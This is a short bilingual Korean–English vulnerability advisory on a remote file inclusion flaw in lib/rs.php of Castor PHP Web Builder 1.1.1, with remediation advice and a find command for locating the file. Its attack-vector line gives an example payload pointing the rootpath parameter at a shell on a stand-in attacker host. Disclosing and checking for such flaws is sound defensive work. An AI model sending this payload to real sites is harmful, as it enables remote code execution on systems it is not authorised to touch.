🇰🇷 한글 설명
Castor PHP Web Builder 1.1.1의 lib/rs.php 파일에 원격 파일 포함(RFI) 취약점이 존재합니다. rootpath 매개변수가 적절히 검증되지 않아 원격 공격자가 외부 PHP 파일을 포함시켜 임의의 코드를 실행할 수 있습니다.
💡 쉬운 설명
오래된 PHP 웹사이트 빌더에서 누군가 특정 주소(rootpath)를 조작하여 악의적인 코드를 실행할 수 있는 버그입니다. 공격자가 원격지의 파일을 실행하도록 강제할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in lib/rs.php in 2le.net Castor PHP Web Builder 1.1.1 allows remote attackers to execute arbitrary PHP code via the rootpath parameter.
📍 영향받는 시스템
2le.net Castor PHP Web Builder 1.1.1 이하 버전
⚔️ 공격 벡터
HTTP GET/POST 요청으로 rootpath 매개변수에 원격 파일 경로 주입 (예: ?rootpath=http://attacker.com/shell.php)
🛡️ 대응 방법
Castor PHP Web Builder를 최신 버전으로 업데이트하거나, 더 이상 지원되지 않는 소프트웨어는 제거하고 대체 솔루션 사용
🔧 검증 코드
rs.php 파일이 발견되면 Castor 설치를 확인; 파일 내용에서 rootpath 변수의 검증 로직 부재 여부 확인
find / -name "rs.php" -type f 2>/dev/null | grep -i castor